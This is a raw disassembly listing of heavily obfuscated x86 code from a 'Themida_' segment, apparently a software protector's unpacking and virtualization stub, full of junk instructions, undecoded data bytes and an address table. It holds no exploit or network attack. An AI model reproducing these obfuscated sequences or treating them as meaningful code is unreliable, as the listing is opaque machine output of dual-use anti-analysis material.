loc_5950C7:				; CODE XREF: Themida_:0058E1F6j
		mov	ecx, edx
		mov	ebp, ecx
		pop	ecx
		jmp	loc_593571
; ---------------------------------------------------------------------------


loc_5950D1:				; CODE XREF: Themida_:0058E1EAj
		mov	ebp, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_589570
; ---------------------------------------------------------------------------
		dd 0BAh, 89DA0100h, 1C8B5A0Ah, 4EC8324h, 89243489h, 4C681E6h
		dd 83000000h, 348704C6h, 5FE95C24h
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595103:				; CODE XREF: Themida_:0058BB83j
		push	2BACh
		mov	[esp], edi
		mov	edi, 6DE81924h
		inc	edi
		not	edi
		jmp	loc_58F53E
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 51582434h, 4C8268h, 0DCBBE900h, 2C31FFFFh
		dd 242C3324h, 8424248Bh, 27E99CC8h, 5BFFFF43h, 8124148Bh
		dd 4C4h, 5F3FE900h, 0E95AFFFFh,	0FFFF76AFh, 0C181D901h
		dd 112A4C54h, 0FF5016E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59515D:				; CODE XREF: Themida_:00591B67j
		or	ebx, 5DA63542h
		shl	ebx, 4
		add	ebx, 490011Fh
		add	edi, ebx
		pop	ebx
		xor	edi, 38574DEBh
		and	eax, edi
		pop	edi
		jmp	loc_58A4CA
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 7Fh
		dd 0C1FFFFBFh, 0EA8108EAh, 24000Eh, 555AD701h, 0FFED44E9h
		dd 0E9EA01FFh, 0FFFFEA5Fh, 4C781h, 0B9510000h, 2, 4E53C781h
		dd 0CF017107h, 5F1E68h,	0EE5DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5951BA:				; CODE XREF: Themida_:0058FCDEj
		add	esi, 4
		jmp	loc_5941A4
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 3D5E9h, 5AD33100h, 315BD831h, 30FF66C3h, 0FF4285E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5951DD:				; CODE XREF: Themida_:00594400j
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_590335
; ---------------------------------------------------------------------------
		db 81h
		dd 39181EC5h, 25C58103h, 5B712D6Bh, 4C581h, 0E9550000h
		dd 0FFFF5E10h, 31241433h, 14332414h, 0FE68E924h, 5B66FFFFh
		dd 66E9D188h, 83FFFF6Ch, 0BD5504C4h, 1B639BBh, 4246C29h
		dd 2404015Dh, 0BB240481h, 8101B639h, 7137242Ch,	6FE93C23h
		dd 0B8FFFFABh, 1ABF22B3h, 4B9BB53h, 0D8290CCBh,	0E9C6315Bh
		dd 0FFFFB2C0h, 4BA52h, 0C1810000h, 4BC52F0Eh, 0E981D101h
		dd 4BC52F0Eh, 0E924148Bh, 0FFFFF33Eh, 240C8B66h, 0CEEEE955h
		dd 0E189FFFFh, 4C181h, 57550000h, 0E46839BFh, 6B10E93Bh
		dd 0D129FFFFh, 0ABBF575Ah, 1723941h, 9F2FE9F9h,	8B66FFFFh
		dd 2682404h, 89000013h,	0C0682414h, 8900007Dh, 4832424h
		dd 815A0424h, 4C2h, 27B95100h, 524CC908h, 27BBBD55h, 0EA893771h
		dd 0CAF2815Dh, 2970586Bh, 0C9815AD1h, 1F425B9Ch, 7094BF57h
		dd 0CF811749h, 225742BAh, 0EFC1D7F7h, 4187E906h, 8956FFFFh
		dd 4C681E6h, 81000000h,	4C6h, 24343300h, 33243431h, 248B2434h
		dd 24048F24h, 0FFA295E9h, 48B66FFh, 5E545624h, 0B2BD5552h
		dd 0E950092Ah, 0FFFFE80Bh, 39568h, 4E28E900h, 8B66FFFFh
		dd 0EC812404h, 4, 89241C89h, 0AE4EE9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59534E:				; CODE XREF: Themida_:0058BDD0j
		push	edi
		mov	edi, 0C8C9E346h
		push	edi
		mov	ecx, [esp]
		add	esp, 4
		pop	edi
		sub	ecx, 2F5D2450h
		jmp	loc_58BA3D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4D22424h, 0EFE99C24h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595373:				; CODE XREF: Themida_:00590F04j
		sub	al, 53h
		add	al, bl
		jmp	loc_58F345
; ---------------------------------------------------------------------------
		dd 702BEB81h, 0F38159F5h, 150D6B1Eh, 53016853h,	3C890000h
		dd 5705BF24h, 0FB89084Eh, 8BDA015Fh, 0C483241Ch, 0E9DA0104h
		dd 0FFFF6275h, 0DCECED81h, 0E8892A1Dh, 692CE95Dh, 3C87FFFFh
		dd 87D7F724h, 8BE9243Ch
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5953C3:				; CODE XREF: Themida_:0059206Aj
		xor	edi, esi
		jmp	loc_590EB0
; ---------------------------------------------------------------------------


loc_5953CA:				; CODE XREF: Themida_:0058E14Aj
		mov	[esp], ebx
		jmp	loc_58B5DE
; ---------------------------------------------------------------------------
		dw 0ACBDh
		dd 8161F939h, 0B5276AE5h, 11F58153h, 4D3A0264h,	73D8ED81h
		dd 0D5F76C43h, 5349E951h, 0C483FFFFh, 0CA895204h, 148BD689h
		dd 4C48124h, 59000000h,	0E95EF089h, 0FFFF6767h
; ---------------------------------------------------------------------------


loc_59540C:				; CODE XREF: Themida_:00595695j
		or	esi, 40F16B3Eh
		and	esi, 47697277h
		shl	esi, 4
		neg	esi
		shl	esi, 2
		sub	esi, 0BC8E19C6h
		sub	ebx, esi
		jmp	loc_591BA0
; ---------------------------------------------------------------------------


loc_59542D:				; CODE XREF: Themida_:0058DBF8j
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_58DDCE
; ---------------------------------------------------------------------------


loc_59543A:				; CODE XREF: Themida_:005949F4j
		pop	edx
		sub	ecx, 45195F11h
		add	ecx, 6F225898h
		jmp	loc_5929CC
; ---------------------------------------------------------------------------
		dd 654068h, 24048900h, 0FF998BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595459:				; CODE XREF: Themida_:00592C9Cj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_589462
; ---------------------------------------------------------------------------
		dd 7E9FB29h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595473:				; CODE XREF: Themida_:005932BEj
		mov	ebx, 4EA22CDBh
		xor	edi, ebx
		pop	ebx
		shr	edi, 1
		xor	edi, 68A93DDEh
		jmp	loc_58C281
; ---------------------------------------------------------------------------
		dd 8D87E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59548E:				; CODE XREF: Themida_:00592B41j
		xchg	ecx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	esi
		push	edi
		push	4C3E1823h
		jmp	loc_58F292
; ---------------------------------------------------------------------------
aIchH		db '‰çh"h',0
		dw 8900h
		dd 4B9240Ch, 81000000h,	7C4B2BEFh, 0E9CF014Eh, 38Ah
		db 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_589462
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 0FAh
		dd 896F4377h, 0E9505FF8h, 0FFFFF6ADh
; ---------------------------------------------------------------------------


loc_5954EC:				; CODE XREF: Themida_:0058A535j
		shl	esi, 5
		add	esi, 0FE97BBA4h
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_58BB07
; ---------------------------------------------------------------------------
		db 55h
		dd 0BE565D54h, 73521E2Fh, 0E908EEC1h, 0FFFFA51Ch
; ---------------------------------------------------------------------------


loc_595510:				; CODE XREF: Themida_:0058BDFCj
		pop	ebp
		push	esi
		add	dword ptr [esp], 426C6B4Fh
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 426C6B4Fh
		pop	esi
		xor	[esp+4], edi
		pop	edi
		jmp	loc_58D2FC
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832404h, 48E95104h, 1FFFF5Ch, 2C8758C5h
		dd 23E95C24h, 5AFFFFACh, 0FFE2B1E9h, 242489FFh,	4240481h
		dd 8B000000h, 0C483242Ch, 4C58104h, 57000000h, 2BFh, 0FFFD0100h
		dd 505F2434h, 405E089h,	0E9000000h, 0FFFFD9A2h
		db 5Dh,	5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 2D33358h
		jmp	loc_590C46
; ---------------------------------------------------------------------------
		dw 8146h
		dd 0D4964EEh, 0BAC3E925h, 0C166FFFFh, 686603E9h, 6EE90F7Fh
		dd 54FFFF44h, 4C2815Ah,	0E9000000h, 0FFFFE778h,	24148966h
		dd 8E90FB6h, 0ADFFFFEAh, 0E957D831h, 0FFFFDB32h
; ---------------------------------------------------------------------------


loc_5955D0:				; CODE XREF: Themida_:005928E2j
		pop	edi
		xor	esi, 0EB567C42h
		add	edx, 8241DBAh
		sub	edx, esi
		sub	edx, 8241DBAh
		pop	esi
		jmp	loc_58B2F7
; ---------------------------------------------------------------------------
		db 29h
		dd 0BCEA81C2h, 8B6BF57Ah, 0C4812404h, 4, 148BD601h, 7F24E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595606:				; CODE XREF: Themida_:0058D4E2j
		sub	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		add	dword ptr [esp], 3DE21984h
		jmp	loc_589462
; ---------------------------------------------------------------------------
		dd 24348B54h, 0FF8584E9h, 66E9F6FFh, 57CCB60Fh,	5468E789h
		dd 8900001Eh, 4BB241Ch,	81000000h, 0CD477DC7h, 0F3C78115h
		dd 815A8501h, 187643EFh, 0E9DF0168h, 0FFFF5809h, 621515BAh
		dd 2454016Bh, 54015A08h, 0C7E90424h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595667:				; CODE XREF: Themida_:0058D890j
		add	esp, 4
		jmp	loc_58E657
; ---------------------------------------------------------------------------


loc_59566F:				; CODE XREF: Themida_:0058DDA1j
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 5A4D496Ch
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		dec	ebx
		neg	ebx
		sub	ebx, 672132DCh
		push	esi
		mov	esi, 30FA04B5h
		jmp	loc_59540C
; ---------------------------------------------------------------------------
		dw 0CD89h
		dd 0E8ED8159h, 2950CF4Bh, 4EC81FDh, 89000000h, 0E6B82404h
		dd 0E90F2F41h, 0FFFFEBD6h
; ---------------------------------------------------------------------------


loc_5956B8:				; CODE XREF: Themida_:0058AA37j
		add	eax, 278B7E5Bh
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	eax, 92E4804h
		add	eax, edi
		sub	eax, 92E4804h
		pop	edi
		xchg	eax, [esp]
		pop	esp
		jmp	loc_589462
; ---------------------------------------------------------------------------


loc_5956DF:				; CODE XREF: Themida_:00592899j
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_58ACF6
; ---------------------------------------------------------------------------
		dw 0F408h
		dd 0C0D4F65Ah, 536606ECh, 0DC00C8B3h, 0FFAFBAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595701:				; CODE XREF: Themida_:005941ACj
		pop	edx
		jmp	loc_58BB7D
; ---------------------------------------------------------------------------
		db 89h
		dd 0BB53240Ch, 11347240h, 0FF9CB1E9h, 2FE95AFFh
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59571B:				; CODE XREF: Themida_:0058C1D9j
		pop	esi
		push	edi
		push	774D74A4h
		pop	edi
		jmp	loc_58D507
; ---------------------------------------------------------------------------
		dd 3904BE56h, 8146080Ah, 5F5242EEh, 5E68113h, 810B9129h
		dd 0CD7E75CEh, 8E6C120h, 9EB7C681h, 0F529942Fh,	0A6CD815Eh
		dd 8142B573h, 0F57FA2EDh, 2C8155C3h, 497BE924h,	0E9055800h
		dd 5D00497Bh, 8E9C501h,	51FFFFEBh, 1AEB6850h, 40582086h
		dd 0D0F7D8F7h, 1917AC35h, 58C1894Fh, 0C23D38BFh, 59CF3125h
		dd 6F036851h, 81591AD0h, 16D54F1h, 0FEFCE999h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59579E:				; CODE XREF: Themida_:0058BC14j
		push	ebp
		mov	ebp, 10E72D99h
		jmp	loc_589DA1
; ---------------------------------------------------------------------------


loc_5957A9:				; CODE XREF: Themida_:0058C887j
		sub	esi, 74453F93h
		not	esi
		inc	esi
		add	esi, 5DDE47DEh
		and	edx, esi
		pop	esi
		inc	edx
		jmp	loc_58CF2D
; ---------------------------------------------------------------------------
		dd offset dword_5D1168
		align 2
		dw 1C89h
		dd 4F2EE924h, 0E8C1FFFFh, 0D05F2D03h, 0C30114ACh, 58EB8158h
		dd 66159A36h, 88E9008Fh, 0B8FFFF95h, 3F15637Dh,	4236C381h
		dd 0C301491Eh, 4236EB81h, 5358491Eh, 9F68F0BBh,	2AE38102h
		dd 5760DF25h, 567EBCBFh, 5FFB0128h, 6D31E381h, 54E92B7Dh
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59581B:				; CODE XREF: Themida_:0058F165j
		pop	esp
		not	esi
		push	4BFAh
		mov	[esp], eax
		push	esi
		pop	eax
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58E719
; ---------------------------------------------------------------------------


loc_595836:				; CODE XREF: Themida_:005942B9j
		mov	esi, 0C027F86h
		jmp	loc_590F47
; ---------------------------------------------------------------------------
		db '^hß:',0
		align 2
		dw 1489h
		dd 0B4E7E924h, 0C781FFFFh, 4E7C4B2Bh, 50240C8Bh, 17E9E089h
		dd 56FFFF46h, 4BEh, 5EF00100h, 0E904C083h, 0FFFFABE0h
; ---------------------------------------------------------------------------


loc_595870:				; CODE XREF: Themida_:00592A2Dj
		add	edx, ebp
		pop	ebp
		add	edx, 4
		jmp	loc_58AC45
; ---------------------------------------------------------------------------
		dw 0C680h
		dd 6E6C0FFh, 0EE80C6FEh, 0E9F12802h, 0FFFFB293h, 5AF500h
		dd 2434FFEBh, 4C48359h,	0FF422DE9h, 19C281FFh, 8965696Dh
		dd 5CE95AD5h, 81FFFFB3h, 8A21F6C6h, 0A8C5E926h,	0CF29FFFFh
		dd 0C1E95D59h, 81FFFFB6h, 9C532EC5h, 31F58112h,	1145103h
		dd 88CBE9EFh, 0BF57FFFFh, 4A106CCDh, 71D2E947h,	3359FFFFh
		dd 34312434h, 24343324h, 8924248Bh, 6BE92404h, 89FFFF3Bh
		dd 0E0892404h, 405h, 42D00h, 4870000h, 2C895C24h, 56E58924h
		dd 0FF77B8E9h, 0E9D4F6FFh, 0FFFF3E53h, 93BA524Dh, 146CA12h
		dd 0E5C15AD5h, 7CED8107h, 0E9FC6779h, 0FFFF4776h, 34FFD831h
		dd 241C8B24h, 5704C483h, 0C781E789h, 4,	0EB1FE955h, 0D988FFFFh
		dd 0B753665Bh, 0E9F90878h, 0FFFF5EA5h, 243C8B58h, 0E904C483h
		dd 0FFFF6C60h, 45DDE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59596E:				; CODE XREF: Themida_:005949D9j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_589C64
; ---------------------------------------------------------------------------


loc_595979:				; CODE XREF: Themida_:0058FAECj
		pop	esp
		sub	dword ptr [esp], 3DE21984h
		push	esi
		mov	esi, 6B7945B9h
		push	ebp
		mov	ebp, 1780D50h
		add	[esp+8], ebp
		mov	ebp, [esp]
		add	esp, 4
		add	dword ptr [esp+4], 0B3A59A3h
		add	[esp+4], esi
		sub	dword ptr [esp+4], 0B3A59A3h
		sub	dword ptr [esp+4], 1780D50h
		push	dword ptr [esp]
		jmp	loc_593DD7
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E9555000h, 0FFFFE908h, 0FFFFB850h, 0C201FFFFh
		dd 0A256E958h, 87E9FFFFh, 5EFFFF3Ah, 8107E2C1h,	0A06370C2h
		dd 9CF28137h, 837F8A09h, 0E2C101EAh, 0C8B85007h, 486D7D2Eh
		dd 3505D0F7h, 3517F855h, 20F23C60h, 0C06F7135h,	58C229E2h
		dd 835AD601h, 348702C6h, 24248B24h, 9CC88566h, 0FF3A41E9h
		dd 0C3815FFFh, 266C5D40h, 0EB81CB01h, 266C5D40h, 8E72E959h
		dd 0D7F7FFFFh, 0FFBD62E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595A3D:				; CODE XREF: Themida_:00590CDFj
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_58B303
		push	50A3h
		mov	[esp], ebx
		push	1A47h
		mov	[esp], eax
		jmp	loc_593E5C
; ---------------------------------------------------------------------------


loc_595A62:				; CODE XREF: Themida_:0058BC25j
		add	esp, 4
		jmp	loc_5940CD
; ---------------------------------------------------------------------------
		dw 0F229h
		dd 0FFC715E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595A71:				; CODE XREF: Themida_:005932FEj
		or	eax, 35C6117Dh
		sub	eax, 14A02DD7h
		jmp	loc_593023
; ---------------------------------------------------------------------------
		dd 72BC681h, 0F731FCDEh, 1C7815Eh, 0C1000000h, 42E905EFh
		dd 5AFFFFAFh, 0F028D22Ch, 4EC81h, 52E90000h, 89FFFF8Ch
		dd 405E0h, 0E8830000h, 24048704h, 241C895Ch, 2BBh, 0CCBA5200h
		dd 4A61FD35h, 323C281h,	0E2C1A895h, 6EAC102h, 0DBF7DA87h
		dd 0C283DA87h, 0C4E28101h, 0E9746F54h, 0FFFFE458h
; ---------------------------------------------------------------------------


loc_595AE4:				; CODE XREF: Themida_:00595B2Bj
		pop	ecx
		push	edx
		mov	edx, 19A242E7h
		jmp	loc_5915F2
; ---------------------------------------------------------------------------
		dd 43FDE953h, 489FFFFh,	0B6526624h, 88535140h, 5BD988F3h
		dd 6659C888h, 0E924148Bh, 0FFFFE922h, 0B951E389h, 4, 0E959CB01h
		dd 0FFFF9635h
; ---------------------------------------------------------------------------


loc_595B20:				; CODE XREF: Themida_:0058B458j
		mov	[esp], ecx
		push	ebx
		sub	dword ptr [esp], 8301B46h
		jmp	loc_595AE4
; ---------------------------------------------------------------------------
		dd 55373BDh, 0BCF58117h, 810ABE15h, 44B931C5h, 0F1BBE9E2h
		dd 0E951FFFFh, 0FFFFAE44h, 4F2D1BBAh, 72BF570Ch, 0C1797878h
		dd 0CF8107EFh, 4242638h, 0FF43F7E9h, 6EBD6AFFh,	5EFA2C71h
		dd 0
		dd 12FF4C00h, 90EB9400h, 0B014697Ch, 5EEF29F8h,	20300h
		dd 200h, 100h, 300h, 0B0146900h, 0F8h, 4 dup(0)
		dd 5A6E2400h, 5A1A7800h, 59BC4200h, 59754600h, 5A42E100h
		dd 59DB8E00h, 5A01E600h, 5A5BA100h, 597B1B00h, 59919100h
		dd 59F30600h, 5AA34F00h, 5AB1E500h, 5A5EDF00h, 5A82F400h
		dd 59A62200h, 5A335200h, 59A50000h, 59E56600h, 5A548D00h
		dd 5A649000h, 5A197600h, 5A2FBC00h, 5A54B000h, 5A083400h
		dd 59FE3000h, 5A1B9B00h, 59E79B00h, 59F8D400h, 5A51F900h
		dd 59EEC100h, 5995EF00h, 59F18700h, 5A11FF00h, 59A2F500h
		dd 59D71B00h, 5A5B2600h, 5A943800h, 5AA69000h, 5A92BE00h
		dd 59748300h, 5AAD0900h, 5A792D00h, 5969F200h, 59BF2F00h
		dd 5A967E00h, 59DA5600h, 5A8E7700h, 5A1F3600h, 5AA27900h
		dd 5A18CE00h, 599B3B00h, 5A41B000h, 59E92300h, 59DB3F00h
		dd 5A4B1C00h, 5A3FB200h, 59B0E900h, 598B3000h, 5A0D7C00h
		dd 5AA56D00h, 59C6FF00h, 5AAED700h, 59CBD600h, 5A3F3200h
		dd 5A6D1000h, 5A716800h, 59700C00h, 59F44E00h, 59E53800h
		dd 5A794400h, 5A11F000h, 59E1DA00h, 5A117100h, 5A5C1600h
		dd 59E44E00h, 596CBC00h, 597F2000h, 5AAB6300h, 5A533500h
		dd 59BE4400h, 5A447000h, 5A452B00h, 5A63F400h, 5A9D8100h
		dd 59AA2200h, 5A200B00h, 5A9B9B00h, 5A044500h, 59AFE800h
		dd 5A8B3600h, 5A601100h, 5962D400h, 5AA02D00h, 5A3EEF00h
		dd 5A4C7B00h, 597D8000h, 5A0D0F00h, 599FC100h, 59936200h
		dd 59C82700h, 5A742E00h, 5A050A00h, 5A8B8E00h, 59A04B00h
		dd 59925200h, 5975D600h, 59C4B900h, 5A929600h, 5A511400h
		dd 5A171600h, 5A65E900h, 5A192D00h, 59B4C900h, 5963C500h
		dd 59C4E500h, 59A05A00h, 59607500h, 59DF6900h, 59756900h
		dd 59C96A00h, 59DDD700h, 597E8B00h, 5A581800h, 597F6000h
		dd 597BA200h, 5A1E1100h, 5A77DA00h, 59F78000h, 5A5F7C00h
		dd 5A63DF00h, 59C9D900h, 5A6B2D00h, 597CA400h, 5A09B500h
		dd 5A619800h, 5A987F00h, 59874E00h, 5A719A00h, 59609B00h
		dd 5A103C00h, 5A6F9C00h, 5A405100h, 59AC7B00h, 59696B00h
		dd 596BD800h, 5A287600h, 59FD6F00h, 5A307E00h, 59C1AC00h
		dd 5996C100h, 59CDD800h, 5A3AA000h, 598D6400h, 59E81800h
		dd 5A77FE00h, 5A02D800h, 5A769600h, 5A067C00h, 59A83D00h
		dd 5A573500h, 5A60F500h, 59825400h, 5AA4FE00h, 5A52B200h
		dd 5AA92E00h, 5A16AD00h
		db 0
; ---------------------------------------------------------------------------


loc_595E45:				; CODE XREF: Themida_:005D8694j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7A949E4h
		mov	eax, edi
		add	edi, 7A946FCh
		cmp	eax, [edi+2Ch]
		jnz	short loc_595E63
		jmp	short loc_595E76
; ---------------------------------------------------------------------------


loc_595E63:				; CODE XREF: Themida_:00595E5Fj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_595E72
; ---------------------------------------------------------------------------


loc_595E6D:				; CODE XREF: Themida_:00595E74j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_595E72:				; CODE XREF: Themida_:00595E6Bj
		or	ecx, ecx
		jnz	short loc_595E6D


loc_595E76:				; CODE XREF: Themida_:00595E61j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_595E83:				; CODE XREF: Themida_:00595E8Aj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_595E83


loc_595E8C:				; CODE XREF: Themida_:005968D2j
					; Themida_:00596ADCj ...
		lodsb
		push	edx
		jmp	loc_597A47
; ---------------------------------------------------------------------------


loc_595E93:				; CODE XREF: Themida_:005AA37Dj
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5A6239
; ---------------------------------------------------------------------------
		db 89h
		dd 24048BC7h, 8104C483h, 78398BF7h, 1AC28151h, 0E9268E6Ch
		dd 96D9h, 8B2434FFh, 0C483240Ch, 0F7EE904h
		db 1, 0
; ---------------------------------------------------------------------------


loc_595EDA:				; CODE XREF: Themida_:005AA4D7j
		push	ebx
		push	29C3C2Ch
		pop	ebx
		jmp	loc_5A5A95
; ---------------------------------------------------------------------------


loc_595EE6:				; CODE XREF: Themida_:005999CBj
		sub	dword ptr [esp+4], 5B9138ABh
		sub	[esp+4], edi
		add	dword ptr [esp+4], 5B9138ABh
		sub	dword ptr [esp+4], 46217B31h
		jmp	loc_5A67F9
; ---------------------------------------------------------------------------
		db 1
		dd 24148BD7h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A7253
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 4C58100h, 87000000h, 84E9242Ch, 5C000024h, 81E38953h
		dd 4C3h, 82E95500h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_595F47:				; CODE XREF: Themida_:005A72AEj
		mov	ecx, [esp]
		add	esp, 4
		push	5642h
		mov	[esp], edi
		jmp	loc_5A8B57
; ---------------------------------------------------------------------------


loc_595F5D:				; CODE XREF: Themida_:005AB1D5j
		mov	[esp], ecx
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59C88C
; ---------------------------------------------------------------------------


loc_595F7D:				; CODE XREF: Themida_:00597D5Cj
		mov	eax, 1B332E27h
		mov	edx, eax
		jmp	loc_5A0EA1
; ---------------------------------------------------------------------------


loc_595F89:				; CODE XREF: Themida_:005A5047j
		sub	edi, 5637648h
		push	edx
		mov	edx, 0EAD568ADh
		add	edi, edx
		pop	edx
		sub	ebx, edi
		pop	edi
		xor	ebx, 1FE631AFh
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5A7312
; ---------------------------------------------------------------------------
		dd 2881F181h, 0D9F73486h, 3FE9E987h, 6800009Dh,	3D9Bh
		dd 0BB241C89h, 4F982CB5h, 7572EB81h, 0E3C1448Dh, 0EAC38107h
		dd 8100D73Eh, 32E06EF3h, 0DF895786h, 5B5FFA89h,	4E0FC581h
		dd 0D50171B5h, 4E0FED81h, 71E971B5h, 500000F5h,	522893B8h
		dd 6E0C132h, 0ADF9E9h
		db 0
; ---------------------------------------------------------------------------


loc_596019:				; CODE XREF: Themida_:0059CE01j
		mov	[esp], ebx
		push	esi
		jmp	loc_5A8D1F
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 8AAE9h, 5BDF3100h, 0F15AE9h, 48F5F00h, 24248B24h
		dd 9C240421h, 0FFFE47E9h, 82B951FFh, 1D9118Ch, 0F5E959CBh
		dd 8300000Dh, 0C68304C4h, 24348704h, 0FE2AE95Ch, 0C8BFFFFh
		dd 6F0DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59606A:				; CODE XREF: Themida_:005A36A6j
		sub	esi, edi
		pop	edi
		xchg	esi, [esp]
		jmp	loc_59BFD3
; ---------------------------------------------------------------------------
		db 0FFh, 32h, 0E9h
		dd 0FFFFFE10h
; ---------------------------------------------------------------------------


loc_59607C:				; CODE XREF: Themida_:005AA899j
		mov	edi, 10B6159h
		shl	edi, 7
		push	0
		sub	[esp], edi
		pop	edi
		xor	edi, 6164904h
		sub	eax, edi
		pop	edi
		jmp	loc_5A93F5
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 69E904ECh, 5700013Bh, 5755E789h, 631F8EBFh
		dd 33D2E95Ah, 0E8830001h, 24048704h, 243C895Ch,	4CBB5351h
		dd 895DCB27h, 27E95BD9h, 8B00012Eh, 0C483240Ch,	0E1895104h
		dd 4C181h, 41E90000h, 5400003Dh, 0B39E9h
		db 0
; ---------------------------------------------------------------------------


loc_5960E9:				; CODE XREF: Themida_:005AB01Fj
		pop	ebx


loc_5960EA:				; CODE XREF: Themida_:00596E18j
					; Themida_:005A6678j
		push	dword ptr [esp]
		jmp	loc_59D978
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 68000000h,	4E12h, 0E9242C89h, 0D01Ch, 6FDFED81h
		dd 8158546Dh, 4ECh, 0E113E900h,	0C4830000h, 50665704h
		dd 9F86866h, 242C8966h,	68A0BD66h, 246C3166h, 1DF2E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596136:				; CODE XREF: Themida_:00598CDAj
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		push	edi
		push	1A1Eh
		mov	[esp], esi
		jmp	loc_5992EF
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 1C895C24h, 55E38924h, 105BDE9h, 241C8B00h, 4C481h, 0C3810000h
		dd 4, 5726E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59616E:				; CODE XREF: Themida_:00597D7Bj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_597014
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 1
		dd 5115C92Bh, 1A56A4B9h, 4EC8371h, 0BA241489h, 5C5C58EBh
		dd 34FFD121h, 590DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59619E:				; CODE XREF: Themida_:005A1D94j
		sub	eax, ebp
		jmp	loc_599BDF
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0F7h
		dd 89670063h, 0C3815EF5h, 5D7A465Bh, 5BE9EB29h,	66000104h
		dd 86D1F65Ah, 53C780CFh, 2AAC68h, 2B9FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5961CE:				; CODE XREF: Themida_:005A6EF1j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5A6F1D
; ---------------------------------------------------------------------------
		db 1
		dd 0AEEA81FAh, 816DD654h, 1E5BA6EAh, 0E4C28174h, 5146176Dh
		dd 1FEBBF57h, 0EBB92D11h, 312D111Fh, 0D1015FF9h, 0C8B0189h
